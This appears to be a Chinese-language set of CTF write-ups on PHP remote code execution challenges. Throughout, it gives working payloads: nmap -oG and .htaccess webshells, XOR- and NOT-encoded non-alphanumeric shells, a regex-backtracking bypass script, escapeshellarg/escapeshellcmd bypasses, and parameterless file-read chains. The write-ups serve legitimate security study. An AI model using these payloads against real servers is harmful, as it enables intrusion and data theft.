RCE小练
RCE
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
host为参数,使用get方式传参
先随便试试
不行,在尝试多个RCE命令,同样无果
发现两个没见过的函数escapeshellarg
和escapeshellcmd
后面查了一下,关于这两个函数有个漏洞,让我们来看看,具体可以参考一下这里
escapeshellarg()
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
简单来说:它会在单引号前加一个反斜杠/,同时还会在左右各加一个单引号
定义 :string escapeshellarg ( string $arg )
具体体现
<?php
var_dump(escapeshellarg("12'3"));
//输出:'123'
但是参数在拼接命令的时候用了双引号的话还是会导致命令执行的漏洞。
escapeshellcmd()
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
定义 :string escapeshellcmd ( string $command)
具体体现
var_dump(escapeshellarg("12'3"));
//输出:12\'3
引用文章中的例子
-
传入的参数是
127.0.0.1' -v -d a=1
-
由于
escapeshellarg
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:'127.0.0.1'\'' -v -d a=1'
-
经过
escapeshellcmd
针对第二步处理之后的参数中的\
以及a=1'
中的单引号进行处理转义之后的效果如下所示:'127.0.0.1'\\'' -v -d a=1\'
-
由于第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1'
,即向127.0.0.1\
发起请求,POST 数据为a=1'
。
但是如果是先用 escapeshellcmd 函数过滤,再用的 escapeshellarg 函数过滤,则没有这个问题。
现在原理我们搞明白了,该怎么用呢,后面发现了可以用nmap命令-oG,可以实现将一个命令写入到指定的文件中去,所以构造出payload
?host=' <?php eval($_POST["shell"]);?> -oG shell.php '
接下来就能得到文件位置
最后用蚁剑连接就可以了
还有一种方法可以直接打开flag
?host=' <?php echo `cat /flag`;?> -oG test.php '
//因为单引号被过滤了,所以可以使用反引号
执行后得到位置访问即可得到flag
[网鼎杯 2020 朱雀组] Nmap
考点:nmap -oG 写入文件
、-iL读取扫描文件
、escapeshellarg
和escapeshellcmd
绕过
打开题目,首先看看源码
得到flag在/flag下
接着试试输入IP
没有什么异常
应该是命令执行,尝试使用|
分隔
127.0.0.1 | ls
发现我们的|
被转义了,那么应该就是和escapeshellarg
和escapeshellcmd
有关了,关于具体的绕过等请参考上一题。
尝试payload
' <?php eval($_POST["shell"]);?> -oG shell.php '
再试试
' <?= eval($_POST["shell"]);?> -oG shell.phtml '
那么应该是php被过滤了
再加上主机ip
127.0.0.1 | ' <?= eval($_POST["shell"]);?> -oG shell.phtml '
接着尝试访问,成功
最后用蚁剑连接即可
在这里我尝试了
127.0.0.1 | ' <?= echo `cat /flag`;?> -oG shell.phtml '
得到了如下结果
再换用其他返回函数,发现return也被过滤了
最后抓到了漏网之鱼,var_dump()没被过滤
127.0.0.1 | ' <?= var_dump(`cat /flag`);?> -oG shell.phtml '
·同样得到flag
[FBCTF2019]RCEService(正则回溯绕过)
tips:json属性字段一定要用双引号括起来,单引号是不可以的
打开题目,要求我们使用json格式输入,关于JSON 数据格式(JSON.La)
查看源码
所以我们猜测输入模式应该是
ls = {"cmd":"ls"}
执行之后发现了一个index.php
尝试打开它
{"cmd":"cat index.php"}
应该是有什么东西被过滤了
md最后发现比赛时时给了源码的!!!
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
好家伙,能ban的都给ban完了,但是还给我们留下了cat
和ls
但是preg_match这个函数本身是存在缺陷的
第一种方法
因为preg_match只匹配第一行,所以我们只需要在前面加上一个%0A(换行符)即可绕过
同时注意到putenv('PATH=/home/rceservice/jail')设置了环境路径
还需注意要直接在URL里构造,在方框里输入会被urlencode通不过。
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
找到了flag,但是不能直接cat
,因为putenv('PATH=/home/rceservice/jail')设置了环境路径
我们进入linux系统,ls目录bin,可以发现,cat这个命令它是属于bin目录下的,我们平时能够直接调用cat是因为系统默认给我们设置好了,而这里设置了环境变量,我们想要使用就必须回到它最初的目录里去调用它
所以payload应该这样写
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
得到flag
第二种方法
利用PCRE回溯次数的限制绕过,这里直接上P神的文章,关于一些其他原理还可以参考这个
所以我们编写脚本使其超过1000000次即可获得flag
不过这里要注意改用post(源码中使用的是Rquests,所以可以改成post)传参,使用get传参的话会导致头太大爆414错误
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","lala":"' + "a"*(1000000) + '"}'
res = requests.post("http://fb6d3c80-f835-4a9f-b867-50022fd1b3b8.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
[红明谷CTF 2021]write_shell
考点:1、php短标签 2、php可在``中执行系统命令
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
直接给源码,审审还是不难的
最终应该是通过file_put_contents写入shell获取flag
首先我们使用?action=pwd获取到文件路径
因为题目中过滤了php
,所以这里我们需要使用php短标签来绕过
在正常PHP5
中,支持4种PHP标签:
<?php
标签<?
标签<%
标签(默认不开启,PHP7后被移除)<script language="php">
标签(PHP7后被移除)
而空格被过滤了,我们可以使用%09来代替,单引号被过滤了我们使用双引号
所以我们构造paylaod
?action=upload&data=<?echo%09"123"?>
写入成功后我们访问
这里在介绍一个东西
PHP 支持一个执行运算符:反引号``,php会将反引号中的内容作为 shell 命令来执行
所以构造payload来查看根目录下的东西
?action=upload&data=<?echo%09`ls%09/`?>
打开即为flag
?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>
[羊城杯2020]easyphp
题目直接给源码
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
方法一:
利用file_put_contents写入木马
需要绕过的点有两个:
1、preg_match函数
绕过:
向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,因为.hatccess这个文件会自己绕过preg_match函数。
2、stristr函数
搜索字符串在另一字符串中的第一次出现。
语法:
stristr(string,search,before_search)
string | 必需。规定被搜索的字符串。 |
---|---|
search | 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。 |
before_search | 可选。默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。 |
绕过:
使用换行符进行绕过
所以我们直接往.hatccess文件中写入木马即可,内容为
php_value auto_prepend_fil\
a .htaccess
#<?php system('cat /fla'.'g');?>\
做几点解释:
1、php_value auto_prepend_file是加载底部文件的,所以我们把#<?php system('cat /fla'.'g');?>\ 放在底部
2、#<?php system('cat /fla'.'g');?>\
3、最后的\是用来转义源码中换行符的
file_put_contents($filename, $content . "\nHello, world");
payload:
?content=php_value auto_prepend_fil\%0aa .htaccess%0a#<?php system('cat /fla'.'g');?>\&filename=.htaccess
其中的%0a是换行符.
方法二:(未完成)
通过设置正则回溯次数为0绕过,目前还不是很懂
参考文章
[CSAWQual 2016] i_got_id
考点:
- Perl后端文件上传
- 传入ARGV的文件,Perl会将传入的参数作为文件名读出来
打开题目,有三个可点选项,依次打开
第一个:
第二个:
并尝试简单注入,均无效果
第三个:
提示为Perl文件上传
返回了文件中的内容。
经过各种尝试,均以失败告终,无奈去查看wp,发现解题思路均是猜测出后端代码
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
while (<$file>) {
print "$_";
print "<br />";
}
}
鉴于根本没学过Perl,所以更别说猜测后端代码了
param()函数返回一个列表的文件。但是只有第一个文件会被放入file变量中。
while ( <$file> )中,<>不能处理字符串,除非是ARGV,因此循环遍历并将每个值使用open()
调用。
对于读文件,如果传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。
所以,在上传的正常文件前加上一个文件上传项ARGV,然后在URL中传入文件路径参数,就可以读取任意文件。
bp进行抓包,将上传的文件类型及文件内容处复制再粘贴一行,将filename去掉,然后内容填入ARGV,就像这样
在请求的URL中填入所执行的命令/flag
空格用+
代替),像这样
即可获得flag
插个眼:
题是做出来了,但是原理几乎没怎么弄懂,等以后有一些沉淀之后再回来看看吧
Linux命令连接操作符
第一次接触此类题目,先了解一下
1、和号操作符 (&):
‘&’的作用是使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’。你可以一口气在后台运行多个命令。
在后台执行一个命令
ping www.baidu.com &
在后台执行两个命令
ping www.baidu.com & pwd &
2、分号操作符 (; ) :
分号操作符使你可以一口气运行几个命令,命令顺序执行。
cd / ; mkdir test ; ls
3、与操作符 (&&):
如果第一个命令执行成功,与操作符 (&&)才会执行第二个命令,也就是说,第一个命令退出状态是0,后面的才会执行。在UNIX里面,0表示无错误,而所有非0返回值都是各种错误。
ping www.baidu.com && ping ....
4、或操作符 (||) :
或操作符 (||)很像编程中的else语句。这个操作符允许你在第一个命令失败的情况下执行第二个命令,但第一个命令成功则第二个不会执行
mkdir test || ping www.baidu.com
这里前一个命令执行成功了,所以不会执行ping百度
5、非操作符 (!) :
非操作符 (!)很像except语句。这个命令会执行除了提供的条件外的所有的语句。这个是纯逻辑操作符,注入很少用
rm-r !(*.txt)
删除了所有后缀非'txt'的文件
6、与或操作符(&& - ||):
实际上是‘与’和‘或’操作符的组合。它很像‘if-else‘语句。
如,我们ping百度,如果成功了就打印‘success’,失败就打印‘fail’
ping www.baidu.com && echo "success" || echo "fail"
7、管道操作符 (|):
PIPE在将第一个命令的输出作为第二个命令的输入时很有用。
8、命令合并操作符({}):
合并两个或多个命令,第二个命令依赖于第一个命令的执行
比如,检查一下文件‘1.txt’是否在根目录下,如果不存在则创建并输出提示信息。
[ -f /1.txt ] || {touch /1.txt; echo "The file does not exist"}
9、优先操作符 ():
指定优先级
10、连接符 (‘\‘):
如它名字所说,被用于连接shell中那些太长而需要分成多行的命令。可以在输入一个“\”之后就回车,然后继续输入命令行,直到输入完成。
cd /\
1.txt
[ACTF2020 新生赛]Exec
这道题方法很多,因为基本上什么也没过滤
我们利用’||‘特性使用ls命令直接查看根目录下的文件
发现flag文件,我们直接打开它,得到flag
[BUUCTF]Easybypass
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1']; //提示为get型传参
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
// /\',\`,\\,\*,\n,\t,\xA0,\r,\{,\},\(|\),<,\&[^\d],@,\,tail,bin,less,more,string,nl,pwd,cat,sh,flag,find,ls,grep,echo,w/
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag"; //提示flag在/flag下
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)
分析
要用GET传入一个comm1和comm2,正则后头尾拼上双引号,再拼上file,最后system()执行
题目已经给出提示---flag在/flag下,我们只需绕过正则表达式即可
我们用comm1进行注入,因为comm1的过滤相对较少,发现一些打开文件的方式被过滤了,不过还有很多没过滤的,如head、tac等等,flag被过滤了可以用fla?代替
payload:
?comm1=a";head /fla?;"&comm2=1
[GXYCTF2019]Ping Ping
进来就看到/?ip=,告诉我们为get型注入,且形式为?ip=
首先试试
?ip=1;ls
发现了flag.php。但是应该不会如此简单,尝试打开flag.php
?ip=1;cat flag.php
过滤了空格,可以用以下办法替换
$IFS替换
${IFS}替换
$IFS$1 //$1改成$加其他数字貌似都行
<和<>重定向符替换
{cat,flag.php}替换
%20替换
%09替换
最后发现好像只有$IFS$1才行
接着尝试,发现可能flag字样被过滤了,尝试了几种方式,发现都不行
只有打开index.php看看了
发现差不多关于flag的变化都被过滤了,想用flag字样应该是不可能了
但是仔细观察发现有个$a可以操作,所以构造payload如下
法一:
?ip=1;a=g;cat$IFS$1fla$a.php
查看源码即可得到flag
法二:
将反引号内命令的输出作为输入执行
?ip=1;cat$IFS$1`ls`
查看源码,获得flag
[极客大挑战 2019]Knife
直接上蚁剑,密码为Syc,flag在根目录下
[SUCTF 2018]GetShell(无字母getshell)
首先审计代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
从第六位开始检查文件内容,然后将内容放进黑名单里遍历,如果有匹配到的输出illegal char
文件上传成功后将文件后缀改为php
,上传一个一句话木马即可成功
经过测试,发现只有$
、(
、)
、.
、;
、=
、[
、]
、_
、~
没被过滤
所以我们可以采取汉字取反绕过,可以参考P神的博客
一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
因为这里我们不能再用1
了,所以我们要先构造索引
<?php
$_=[];
$__=$_.$_;
$_=($_==$__);// 不相等返回0,构造索引0
$__=($_==$_);// 相同返回1,构造索引1
$___ = ~匆[$__].~冈[$__].~匆[$__].~勺[$__].~皮[$__].~针[$__];//system
$____ = ~码[$__].~诗[$__].~尘[$__].~欠[$__].~站[$__];//_POST
$____($$__[_]);//也就是system($_POST[_])
payload,构造system函数
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~匆[$__].~冈[$__].~匆[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~诗[$__].~尘[$__].~欠[$__].~站[$__];$___($$____[_]);
然后查看根目录下有哪些文件
打开Th1s_14_f14g,得到了一个错误的flag
好像是环境问题,说直接读环境变量env
可以读出来
做完整个题,感觉还是颇深的,其中的汉字编码让人眼前一新,还需努力!!!
[极客大挑战 2019]RCE ME(无数字字母RCE)
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
查看源码,大概意思是GET方式获取code,过滤了数字和字母,且字节长度不超过40满足条件就当做php执行并且不报错
则payload形式为:
?code=xxxxxxxxxxx
本想用异或绕过的,结果长度太长了
所以使用url编码取反绕过,将phpinfo取反
查看phpinfo,可以看到我们命令执行常用的system、exec、shell_exec等函数都被过滤了
?code=(~%8F%97%8F%96%91%99%90)();
成功,利用这点,可以写入一个一句话木马
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%9D%9C%A2%D6%D6);
然后验证一下是否上传成功了
接下来用蚁剑连接就行了,发现根目录下有两个和flag相关的文件
其中flag文件是空的,readflag文件中是一段乱码
后来查阅资料发现readflag这个文件的作用 ,/readflag会有一个s权限 ,就是不能让你直接cat或者执行,需要绕过phpinfo里的disable_functions
而我们并没有权限,这是便可以借助蚁剑里面很强大的一个插件,能让我们越权执行
最后执行/readflag
这个命令就好了
[ISITDTU 2019]EasyPHP(取反,绕过)
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
看看正则表达式都过滤了些什么,可以参考这个网站regex101: build, test, and debug regex
\x00- 0-9 匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符
过滤了以上字符,同时strlen(count_chars(strtolower($_),0x3))>0xd
的意思是不能提交超过13(<=13)种字符
但是给我们留下了~
和^
,所以我们可以借此绕过
url取反和异或
先看看phpinfo,发现所有命令执行的函数都被过滤了,真**!!!
?_=(~%8F%97%8F%96%91%99%90)();
这里还找到一个大佬的脚本,可以查看哪些函数能够使用
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
//运行结果
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual
结果发现都是我们用不上的
所以这时我们可以使用scandir()或者glob()函数来获取目录,但是他们所返回的是一个数组,所以我们还需要使用print_r或者var_dump,即最终得到
print_r(scandir('.'));
所以我们要使用异或的方法把他构造出来
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=> %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
异或payload脚本
payload = "phpinfo"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''
for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break
payload
print_r(scandir('.'));=((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
//这里%ff看不懂的看看上面的异或表就明白了
但是是过不去的,因为我们这里用了16种字符,而题目要求不能使用超过13种字符
所以接下来我们要做的就是删减字符
因为我们必须要用到();^,也就是4个字符,所以留给我们的只有9个字符来构造函数
因为这里单次异或已经走不通了,因为单次异或所得的结果有限,那么我们是不是能通过多次异或。将部分%xx省略
脚本如下(copy大佬的)
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]
# 这一行就是我们总共的字符串。比如print_rscandir。将重复的字符串去掉。就是所有要用到的字符串
# result = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]
# 删减后变成了
result = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1]
# 一开始,result数组和result2是相同的。逐步删除result里的值,当结果仍为11时。
# 那么就说明这个字符没必要。可以由其他字符异或替代
# 如果长度不对。那么就恢复。继续尝试删其他的字符
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)
最后结果为
第一个字符:
a=0x8b,b=0x8b,c=0x8f,d=0x8f
a=0x8b,b=0x8f,c=0x8b,d=0x8f
a=0x9b,b=0x9b,c=0x8f,d=0x8f
a=0x9b,b=0x8f,c=0x9b,d=0x8f
a=0xa0,b=0xa0,c=0x8f,d=0x8f
a=0xa0,b=0x8f,c=0xa0,d=0x8f
a=0x9c,b=0x9c,c=0x8f,d=0x8f
a=0x9c,b=0x8f,c=0x9c,d=0x8f
a=0x8f,b=0x8b,c=0x8b,d=0x8f
a=0x8f,b=0x9b,c=0x9b,d=0x8f
a=0x8f,b=0xa0,c=0xa0,d=0x8f
a=0x8f,b=0x9c,c=0x9c,d=0x8f
a=0x8f,b=0x91,c=0x91,d=0x8f
a=0x8f,b=0x9e,c=0x9e,d=0x8f
a=0x8f,b=0xd1,c=0xd1,d=0x8f
a=0x91,b=0x8f,c=0x91,d=0x8f
a=0x91,b=0x91,c=0x8f,d=0x8f
a=0x9e,b=0x8f,c=0x9e,d=0x8f
a=0x9e,b=0x9e,c=0x8f,d=0x8f
a=0xd1,b=0x8f,c=0xd1,d=0x8f
a=0xd1,b=0xd1,c=0x8f,d=0x8f
接下来就可以开始构造了
a=0x8b,b=0x8b,c=0x8f,d=0x8f
%8b^%8b^%8f^%ff == p
这样p就构造出来了
第二个字符:
a=0x9c,b=0x8f,c=0x9e,d=0x8d
a=0x9c,b=0x9e,c=0x8f,d=0x8d
a=0x8f,b=0x9c,c=0x9e,d=0x8d
a=0x8f,b=0x9e,c=0x9c,d=0x8d
a=0x9e,b=0x9c,c=0x8f,d=0x8d
a=0x9e,b=0x8f,c=0x9c,d=0x8d
继续构造
a1=0x8b,b1=0x8b,c1=0x8f,d1=0x8f
a2=0x9c,b2=0x8f,c2=0x9e,d2=0x8d
%8b%9c^%8b%8f^%8f%9e^%ff%ff == pr
剩下的就一样了
最后构造出
print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
得到目录信息,可以看到目录下有个n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
因为空格被ban了,所以想直接读取是不现实的,所以我们采取另一种方法
读文件,因为scandir返回的是个数组,而且flag在数组最后面,那么用end()方法就可以得到文件名了。读文件可以用show_source()或者readfile()
这里我采取show_source()
所以只需构造show_source(end(scandir(.))就好了,构造方法和前面一模一样
result2 = [...]
result = [...] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)
最终payload
show_source(end(scandir(.)))=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
真是折磨啊!
TCTF2019_Wallbreaker_Easy
有个预留的后门
可以直接看phpinfo
过滤了很多函数
直接用蚁剑连接,因为php版本大于7
所以可以直接使用蚁剑上绕过disable_functions
的插件
web-Mercy-code
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
$cmd = $_POST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}
poc
cmd=show_source(end(scandir(next(each(str_split(spl_autoload_extensions()))))));
通过spl_autoload_extensions这个函数返回小数点
[GXYCTF2019]禁止套娃
启动题目什么也没有,dirsearch扫描目录,发现.git泄露,利用用Githack下载下来,得到一个index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
第一个正则过滤了伪协议
第二个正则中(?R)
表示引用当前表达式,也就是php的递归模式,简单来说就是只能进行无参数RCE
关于无参数RCE,参考了这篇文章
第三个正则过滤了一些关键字
所以参考文章中的物种方法,最后有两种方法在此题中可以使用
方法一
session_id()
这里因为过滤了hex和bin,所以就没办法使用hex2bin进行十六进制解码,所以不能直劫执行命令,但是这里有个flag.php里面,所以我们可以直接读取flag.php,此题的flag也正好就在flag.php中
可利用的函数
highlight_file()
show_source()
file()
readfile()
payload
?exp=highlight_file(session_id(session_start()));
用burp截包将session改成如下:PHPSESSID:payload
方法二
getcwd()函数被过滤了,但是可以使用localeconv() 函数和current()函数来代替
<?php
echo current(localeconv());
?>
//返回'.'
这样就可以继续使用scandir()了
查看当前目录
?exp=print_r(scandir(current(localeconv())));
这里发现flag.php的索引为3
tips1
使用array_rand()函数
array_rand — 从数组中随机取出一个或多个单元
但是它取出的是数组的键,而我们想要的是数组的值,可使用array_flip()函数,把键与值交换
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
这样就能读取到flag.php,最后再用上面的方法读取文件
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
tips2
使用array_reverse()
函数和next()
函数,用array_reverse()
函数将数组进行倒序,然后用next()
函数指向索引1
即flag.php
payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));